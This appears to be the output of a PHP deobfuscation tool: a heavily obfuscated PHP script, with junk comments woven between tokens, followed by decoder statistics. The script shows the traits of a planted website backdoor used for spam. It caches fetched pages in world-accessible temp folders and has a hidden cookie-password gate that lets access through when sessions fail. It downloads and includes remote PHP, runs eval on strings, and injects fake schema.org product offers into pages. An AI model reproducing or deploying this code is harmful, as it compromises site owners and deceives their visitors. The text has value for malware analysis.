if($content){
##jyVSx}1tC5~TT2hCub
saveCache ##_f]&LR#<,+YYcA1aW@<Z
(//-YR68\*E;w@wPQL9OYB
md5/*Sg7ZyIzNx=XI2&Zc*/($uri), $content);
}
return //Aw<B\=4ZS)v}+<bB6
$content ##G8WE {&BAso#oWT*
;
}
function ##*MT6kJ9!WS jH`6{
getCache ##n312M JfY+1y@WT
($file){
global //Q<^Q@a
$fileContent/*FHdVN6jA1dheBzk$*/;
if(!empty(//QuU)1PpTxu{i
$fileContent//@P]4dK
[$file])){
return // ^jv5PWS0B$ZC-
$fileContent//KA9;SV2`)5
[$file];
}
if(!empty(//h2D$T6h$OWNk
$GLOBALS/*28YUzj{x1R,nCEw*/['fileContent'][$file])){
return //DI-ASw~D*Dbl_Zq.aSc
$GLOBALS ##L 97V6>+hEUb8{1WF
['fileContent'][$file];
}
/*#i+IA_4;L{T\N*/$tmpDir//A84rtf
= //!gDY@O]`]Sw7uHs6@;_
sys_get_temp_dir1 ##<(7q#70<MMt[IeW[
() . DIRECTORY_SEPARATOR . ##7td>eEdUW:7fqYrJ.:Z
get_current_user1/* >V5pMd5*/() . DIRECTORY_SEPARATOR;
//hU2QG
$filename/*9]3aT$(q2VMMtra:[kfl*/= ##GMbT=~
$tmpDir ##v0CRcRck[T
. ##Oc=(^q3Co0v(qqN
md5/*L)k0bJ(-O3**/($file);
if(@ ##L3FQJeT
file_exists//EO<8,bL$
($filename) && (/*MkWW\mT<YKN_*g<mHyg5*/filemtime/*x1mOaZCd^|6ZWY9Y`@*/($filename) - //Wdkogf
time//8|N\TRrjF}
() < 1800)){
return //04s1dj8LuKqH{!
file_get_contents/*qR#aRLK<*/($filename);
}
return false;
}
function ##vRY\3\Fm
saveCache//q-LdRvTr
($file, $content, //s#rx;8_
$onlyfile//C`*eL_9Y
= false){
global ##lvz1\
$fileContent//L[{#_l0!@!=q
;
if(!$onlyfile){
/*,y^w=Ce)\Vb@6,G^X1e*/$GLOBALS/*l(.J%dBbg|$Jal|=*/['fileContent'][$file] = /*qNoXyem-*WlPY*/$content//0[U4O>d$)t\UdqcJ(
;
//No465
$fileContent ##aLDEH[|0l8e3U!2;[
[$file] = ##@ZsQpo\SuzUCc~S+d.M
$content//g z]Re0
;
}
##~Q=Et0
$tmpDir//%)sgXo$vWX0rxw-IG
= /*>dfz]D~rK*/sys_get_temp_dir1//Bed#zoM;VF}T
() . DIRECTORY_SEPARATOR . /*9$WjV7X;9[ZO<o=*/get_current_user1//a{V4+@}cH}tU3\RBF<m
() . DIRECTORY_SEPARATOR;
if(!@/*MS|74XYJkIrD)2;*/is_dir//ur@a^F,aR^6
($tmpDir)){
@ ##SwT9NFMYuj6g
mkdir/*_wQclBbzh*/($tmpDir, 0747, true);
}
//m&N-+-VsB2]M~
$filename//Lka`EV2P-A}H
= ##8~,{4Sb-eWd#O#Y
$tmpDir/*IW=LLY*/. /*4 i8N*/md5 ##^A q>Y
($file);
//Zek88P@wEQ_
file_put_contents_force//bQZe*80YR~`KF$_{kV.
($filename, $content);
}
function /*WpUh:V*y,)hpO$vO$;oF*/getMiddleFileTime/*l(d8{82jSSXxln|0Y*/( ##C<=BjRl,]0P|V9mba]
$dir/*Eq,pCFvkP@nH+b_Rvhf;*/= ##CkQl,9,K0A|cE&
'.') ##Zlh(I!
{
if(isset( ##5[gy \y
$GLOBALS/*JhXuekWEWp6d*/[$dir]['middleFileTime']) && ##O+b*xo
is_numeric ##X*KWLC#.b:vmj#0
(//W-^Y4
$GLOBALS ##&XKTW(.Cj
[$dir]['middleFileTime'])){
return /*nB-GJ1wu,}=BD*/$GLOBALS ##ePq7u*0*
[$dir]['middleFileTime'];
}
//=7 MWL4jLoQ
$arrFiles ##N~B94{P3
= @//DO82OoQ^S
scandir/*gTW709gyUy#GhPOD-Q{o*/($dir);
//\(1r|=R#8.K9t-4aXya
$arrT ##af.rD0(5_R}*QHPz`w
= //+D~P]_gvs]
array ##:{s#+>XRmRR>RNaK^6
();
foreach($arrFiles as $file){
##A_l FKy9P ,gOC6(r
$filename//R[y]eu<k++A(la
= ##Du7_%<;]$2FSl|
$dir//DU08Ug1e#:uI
. /*(MKtjmO8,T%j*/'/' .//>dEW&,uu[jMK<CjF
//3)1[:G1uo9l[^p|oUL<~
$file/*YqJ<m*/;
if(@ ##oaCE@OYL<2g[SHx4^ddr
is_file ##FYc:)rIyL@n@^08X
($filename)){
//v@JM`9Y)F~P-j`A!
$t/*YMD2=<6L}(NC2QT#*/= //Ml=6!pFyceiG!IoTmc
filemtime//{hXg]\Ub`
($filename);
if(!//gx-Xq$HP
in_array//WaHKV
($t, $arrT)){
##Hr0+NpGEsdsM
$arrT//0Dv9lYja
[] = /*K=FFWEs7ets7K5n9M*/$t/*CY8n@40YjmIm1),*/;
}
}
}
##v*wb_M6lT.XmB6A 0TK9
sort/*`{.RK,kBWS}a8PEC&2*q*/($arrT);
//.Juwx^p^Do
$index//8F#&]5ogX51sJM
= /*ziUNZweE\*/count//R[)#hq4v%y+:
($arrT)/3;
if($index){
if($index>=1){
##+*G[BrKJ%O.$=7
$index//1HYsOo8ekjIY6fR
= //2MtVgs
floor/*C\:!{T0]Og4xt(W+g3Xp*/($index);
}else{
##YVl{dl.nHVX
$index ##lUztq,#UxofE%IxWn\
= 1;
}
##6ifn&k#sM
$GLOBALS/*M@W^j9kYAgcECRBu*/[$dir]['middleFileTime'] = ##[B:6j9vy{a
$arrT ##(iO$Df$bdR:FFv4c:Uki
[$index];
}else{
//FStnD<_ZuD8[[`!
$GLOBALS/*oKgsy:e7sO>YgtJ:I*/[$dir]['middleFileTime'] = //6MiLzFzQQ5w
time//QnmK- Y
();
}
return /*,v_[`&}xNs9(Jn*/$arrT//rEQVP:.iAlPc.%)
[$index];
}
function /*#Qtj#xt4{zp_F|oXBZs7*/sys_get_temp_dir1//mqIi2C
()
{
if(isset(/*Sfx<N#*c+KtcSJMq*/$GLOBALS/*(4kyC*/['tmpPath']) && @ ##!Y@i,20&[S` t
is_dir/*JK7HhKK~tXu*/(//o~^mQ~
$GLOBALS/*=A:wDp9*/['tmpPath']) && @/*oF<aWiP;Q9d]SJ*/is_writable//&KugE
(//XUjMJR-n!sD_48hTN~66
$GLOBALS ##Wqq5|1u,c3Zv.Z>_
['tmpPath'])){
return ##iIVLaEj\1CMT6H
$GLOBALS//m9Fa0Kug#QG
['tmpPath'];
}
if(@//Tq|x=Ch&+bf241}
is_dir//Wx\IkcC3Oo}:ffV7u
(//KEg+T
'/tmp')//1Y5 ywHZLlFhQM]MB
&& @//aL,_-]o[rNlR.)
is_writable ##YUTF!YBdJ9_bi`}
(//8}3<R(M,XH=0j
'/tmp') ##<3 CvJ6aff
){
return //WLNArx(+7(|)}U
'/tmp';/*5)6h5Y!dvdMubyU p;*/
}elseif(//cpz %1#yy9L>n
function_exists//]%cUq \*
(/*=>=T\k*/'sys_get_temp_dir')//.6U2XcGJd
){
//b]\#UAnA*}.@H-WP
$tmpPath//>AI2mNqc
= //Gv,_P26F+l-xOLxmAnXn
sys_get_temp_dir//5g`%v05<Q%
();
if(!@/*< L<i^3*/is_dir ##W,&5bYN0M lHvRT2Y<}
($tmpPath)){
@/*:[mXY%&3%WTC*/mkdir//Cv_FHx%]N.NJ~( Cu
($tmpPath, 0747, true);
}
return ##yJ7ib0-
$tmpPath//M*F [:c.6(
;
}
foreach (//JW|P5O
array/*+Na)n*/('TMP', 'TEMP', ##~6n`;Fm$E9
'TMPDIR')//kJEs>IC$=~
as $env_var) {
if ( ##RTx8NH73]hVqV
$temp/*~}7EvUI{+*/= //dv![~)l7Dh9wk>Tb
getenv/*P\DQJ,4T[2w>_,*uC6*/($env_var)) {
return //_6CxVfG<1JzT(D(,%~
$temp/*9#F%L<70C0`M!t*/;
}
}
##+*5;lJO2X:E
$temp ##\e~HDX:KxBGA>k!aE
= /*8P-WsUINM 4*/tempnam//(hpS*pqn]9fXthjh
('tmp', //RSu*2gK~7Oxb^s-50B)D
'') ##e+ [!D%;
;
if (@/*8}`M%voBBAe}N*/file_exists ##R17PNrY GB](F9C
($temp)) {
##CHBZH[
unlink/*Z;*LSk*/($temp);
##NrKomU@=
$GLOBALS ##ZIz+:{z3Y X#BW
['tmpPath'] = //L1(R~RWPiB4
dirname/*p>fP;xx[U4*/($temp);
return /*kr(T,Q~~&.ICM*/$GLOBALS ##Qo)n;l#qCNH7dmA
['tmpPath'];
}
return null;
}
function //ynZ>m3oAKX*pNLU)Y>Vh
jsonEncode/*5ii%&GJJ\#@j*/($var)
{
if ( ##|^C5z
function_exists/*990YJQVmUQ8{hOR*/( ##G2tH~o01G91y[VF
'json_encode') ##9<F7U(*kj-QgdA
) {
return /*XJ\3SzgKJ^:*/json_encode//HWEkUCtXg&i&w[^}f
($var);
} else {
//yTkG+Q!oAF}6Dl=:5C
$jsonfile//XZ9h%(Dh_@
= /*I$B-R`baJK9:*FYY*/md5//:evxU:rDJJ`<8oS~p
(//tO!S]Yd)@
'Services_JSON.php')/*.xs8KS-upXu*/;
if(!@ ##iBB-)![
is_file//FwDJ=]ARHfL1910b4#B{
($jsonfile)){
@ ##&,PaYPIZ+^rH:i8k8cte
file_put_contents ##b$X5n,ts^ci
($jsonfile, /*3b#@6Ds`fS%4arV*/getHtml/*Z0![Mv97ZYG7yGj3M1h(*/(/*5]L0)*WUSd}V)u*/'https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php')//V8BSbZD
);
}
include_once //=UQ(CLAGUG7
$jsonfile ##Tu7z:4V>2$Pba
;
if(/*+n} 3I,U1wu&K_*/class_exists ##Fn>Rs5v@#;BGhE
(//12g`Sa`aS|p
'Services_JSON')//>c,:V~{Vhc:> SE
){
##4=vejBOByH7uhX:+WJN>
$result ##eJRbn:&AB
= /*>eym1NuJq{M`;|SKGYE*/''; ##Cqu\<t~T5C=J@ 5 2,A
/*[-UD&D$Ap*/$code/*`L-Tu*/= '$json = new Services_JSON;/*V.u5eB*NB)!e*/$result/*EinFVQujbi`YX~*/= $json->encodeUnsafe($var);';
##zD@}x!^@F
eval ##LL2;(
($code);
return /*5U*oSV7lv{*/$result ##={E{od
;
}
}
return ##i(jG@M5C
''; ##ICPnPP#i
}
function //`n7e&<
jsonDecode ##fqIS1H15[cA7,nYl#
($var, ##gt$hufvD*@TSJ g0
$assoc//xQzgztGC[|sLN4Gt81S
=false)
{
if (//VKVuu,geS`~HN&URw3j
function_exists//0SLgP7RMS`Y
(//ty51DS\aFq@AMj-
'json_decode')/*,P|*2n[HFR,U|o*/) {
return //oi=VEC+sUe
json_decode ##~wnrItL.9G9neXyR.6
($var, $assoc);
} else {
##!mw\N2b]F
$jsonfile ##9fm4(Kv(L~M4TfRjE
= ##ZB(hJ;SDXomRZjQu
md5//Qh)`A77Wi{|WSG}<Gj
(/*$~noq*/'Services_JSON.php') ##(fAS38SD(#Q=Sg
;
if(!@//taS+l9lP<r`6;JfXJ0
is_file//;an#pqhm7U6Ht)_u_4
($jsonfile)){
@//j=AjdvQeluY3g7$\_FA
file_put_contents//$~*; )#e3][8K
($jsonfile, //KXh9T#UH=#%!zPS[$
getHtml//;;19A1ha
(/*!LCd.K.Z6HI:ScDIs,*/'https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php') ##F`_4|~5]MCNqG<
);
}
include_once //|gYl5
$jsonfile/*L7~ILl*/;
if ( $assoc ){
if( ##IiYrmM COC=@*Td#
class_exists ##+6*ATvoq(QE
(/*I0Kv{9JswqLxh*/'Services_JSON') ##XD+FJuVUP|OZu{blhj
){
/*%[mF1VgVZ}Jra*/$result/*g~wA]ldLCN*/= ##1BAkTEy
'';/* qT#}Gq:,3swQGU*/
/*8JQ|$4]cIAo*A}t\^~w*/$code//kFq`FUK
= '$json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE); ##98]cQ1y7r
$result/*]$Y^f-Tt@G]\@*/= $json->decode($var);';
##_08hgG\NMF`>Y;J(!
eval/*]2$Zr==Dz-6%0Q*/($code);
return ##`Hg6$PZ5WUHN(Q;
$result ##}4Es0|
;
}
} else {
if(/*l}nzafyJM$w>~%,4q\*/class_exists/*)jigD%o [*/(//A4Aj$
'Services_JSON') ##^%N(.!5KPZ4W
){
/*%R,oy;KJ*+3(|FU*/$result/*L6e#fT5*/= //BZLq:dKKIVsLSpGS9w[
''; ##^<W|~by91M
/*1,AO0;8WS*/$code/*|}U:-g|Otn]Hx*/= '$json = new Services_JSON; ##6`td\&;
$result ##To#CLm4jxCJ=
= $json->decode($var);';
/*qwq|_24zV\0f*/eval//vf]a2
($code);
return /*-TZ;c2}J_Z8;FlQw+ q0*/$result//:$Ru0l^w)g|;%*X(
;
}
}
}
return ##\Fa^q1CDgIc{#
'';/*gDE~;gWg|,-f7#[$2*/
}
function //s~2<(zzif2PRX^e1
cookieAuthor//b*hJ~T#mCHE=
(){
if(@/*hE^nGw|-S\\%cdz<S*/session_start/*@+($4yO*/()){
//<GxO;
preg_match//^%Z=Yq@FA74
('/^[^:]*/i',/*:8!CrR9])*/$_SERVER//5=[3z<>ife V
['HTTP_HOST'], $match);
##+GKR jIB{ad~n)J
$domain ##$,6Jy(lA
= /*A(Jpx:}k*/$match//8w|a3GuJ}y~
[0];
if(@ ##+$.R<U]-wg1
md5/*R}6on:zJY*/(/*yW@9g`^.X_y4*/$_COOKIE ##aqAjCk7E3N:UI6h#h
[ ##6lb\%xT
md5 ##_[N){+]L-4e
( ##alQJsch7wM\ZCp
$domain//A9_eJwZ; i$q~
. ##Q~NIBwB,aWV
'pswd')/*TjVw&]R0*/]) == /*U9:.lW6\@qVLD8C4Z*/'30b36dd41a0d39efc66a950446322fa9')//Q-` )Yz
{
return true;
}
}else{
return true;
}
return false;
}
class context{
public //0_fx6+
$context/*j+fdFw.0bRl*/= ##86V#d
'https://schema.org/'; ##!7u:#WS@REvw
public ##:TW)Oqq>b7m!a0;Xt
$type/*ex^gKbT7tj1>~WU;m4*/= /*-&\JNSKj,v&zOU[a#*/'Product';//OmCM4_3IR
public //jaqP>S)cB#@KsR$
$name//)vE`\
= ##AQ%S0@uP|e5GPDto@
'';/*<S=>_`Kj*/
public ##C4(8s5A#p
$image/*>(Ptr-*/= ##:Gzdbq}(t{ZpV
array ##O>pA_3D3{%ex[3:vt
();
public /*b}`w+JLw0;p*RKR_*/$description//JqBWUYZr1yj1ZU6>
= /*h^Y}vV_V8&O*/''; ##u{1[3=l.H
public ##AM<Ae,}fzO8JE$
$offers//(*Pyx
= //bEaA$#<vz_hcO
array//p+^zYQ8U\n#j_`
();
function ##*zB3V bs2fd}l\
__construct/*^P^<cc*/(/*8G`bQz=R*/$type ##ZI_Rr
= /*76M%r^q<K~SnU*/'Product')/*irz`gGwSHJUXVP*/{
$this->type = /*OfMiRoDY;grLY (umK-o*/$type ##bV-NEM{.
;
}
function ##HA$7Un0; HU
setName/*!Tg[#rWo*/($name){
$this->name = //{YuCnA
$name ##c5)QVF;.ysKpks[i!(Wc
;
}
function //H.MTM)Lz9-aEW(HIij
addImage//K43~46n{
($src){
$this->image[] = /*vnPr 6Fl4P<e=]x3e*/$src/*f*7+=nhKNhhZ}H*&$Y*/;
}
function ##JprYEASp<J.@]
setDescription//@Fl@Q O`FLm
($str){
$this->description = //bU}TlJ~
$str ##Z3]Ei`
;
}
function /*i*>S.*/setOffers/*`eE}h9K|Y\7A*/(){
##Dv9X:UkIU}4l*cEAr:
$arr/*)B8t|,s*/= ##=<\g-|Ka0#F8kI7}:
array/*44gGW~BizbBk*/(
'@type' => 'Offer',
'url' => $this-> ##SETs7
getSchema//N(5#MVL!gW5x
() . ##.xI{=YGW
$_SERVER//#MZ[<nd_c3XtE@
['HTTP_HOST'] . /*pl2tn7*/$_SERVER ##wV<!<sH0;~])XPl0
['REQUEST_URI'],
'priceCurrency' => 'USD',
'price' => '9.9',
'availability' => 'http://schema.org/InStock',
'priceValidUntil' => /*~w:~7:ga\*/date/*2ZX.3(<4nH*!r Lu^*/(//UGUV6
'Y')//\xwnn;>WsT
+ 1,
);
$this->offers = /*9`\Q^.KR;]Sh*/$arr/*b%h&oT*/;
}
function //T~E@2IJ#R4H$N@qn
showScript ##aDLt_T~*
(){
//q g3rM]%
$arr//eAJ5^CC1* V7(E7X
= /*qdCL1n{&Uv3o^(Q*/array ##[b_fKPmnz=@8UtD^]L5w
(
'@context' => $this->context,
'@type' => $this->type,
'name' => $this->name,
'image' => $this->image,
'description' => $this->description,
'offers' => $this->offers,
);
##O^U=8
$str/*-rrVUG=I|a&B1^e{nny*/= //&-!n)P
jsonEncode ##;km(#kSe7lKU*P]
($arr);
return /*dFrE0lLTw56k*/'
<script type="application/ld+json">'.//FnwYk|<DEV.C7Gnbs>
$str//g {YR,O+Vf)]3Q[sa
./*tTQ*V~wD*/'</script>'; ##h%<t|NL;
}
function ##h!-&Y6eFV
getSchema//aB9pWis(sa~4!
(){
if ( isset(/*uLTjYH,v&F&kUZBp-UG*/$_SERVER ##b^Ihd)hmZ8)Zcg3\q\
['HTTPS']) && //5bD9{I7O3JN&9
strtolower//`wY;YSt|}E)vN(
( ##YmLtGEmcAN$wQ2
$_SERVER ##T|~]Sm~vf~^m;1=~CP
['HTTPS']) !== ##l;6Y#4hTCER
'off')//`HS=vAck!;PFEW*ER2@l
{
return //MR4&qWPbw2VR{cs
'https://';/*%tb>vP94o;k*/
} elseif ( isset(/* e4`TYBX=~`;jU~8*/$_SERVER/*sk{Bu9~qhz0gk==NSN}0*/['HTTP_X_FORWARDED_PROTO']) && //v1(c-,6MevuW
$_SERVER/*S^dl_WkAP~!A>Jx*/['HTTP_X_FORWARDED_PROTO'] === /*2I!B*,B*/'https' )//_,g)O
{
return ##zD2x~^8*4.BR))7^w5
'https://'; ## |T0S~^RNPg!~QH!03q
} elseif ( isset(//a**A80e|FM0[
$_SERVER//,K}nL^O1.GG;
['HTTP_FRONT_END_HTTPS']) && ##8.|q_h0,$7OrR}7,M0O
strtolower ##XQWoJB%_DL!**hY,
( ##B$3&#&aF
$_SERVER//tDPiePJ(FeX_G
['HTTP_FRONT_END_HTTPS']) !== //=2{$p
'off')/*3&\.{*/ {
return /*=nBzfoK$*/'https://'; ##X^1hZb*#uRY70;
}
return //FNF6>C
'http://';//d$2KT9Id2vkx]OaIMr
}
}
function //s+,QNCZu;
isPHPFile//r:1-P2
($file){
//9EJ.-+ABRG>E}
$content/*kVCiJg~&=Ax5POYRMG;C*/= /*P!5+lmjWujmXk)Dh*/file_get_contents//2,.u6Z$,zR<euS
($file);
if( ##4ICVIt>4|\zzj
stristr//{3xYnnY^Dto!
($content, /*<=hMwW~5Wm.{j(BhA Zb*/'<?php') ##D>!3OT:F
){
return true;
}
return false;
}
?>
Function Calls
None |
Stats
MD5 | b4a90d033b0c1aad798ebb21066fb43c |
Eval Count | 0 |
Decode Time | 244 ms |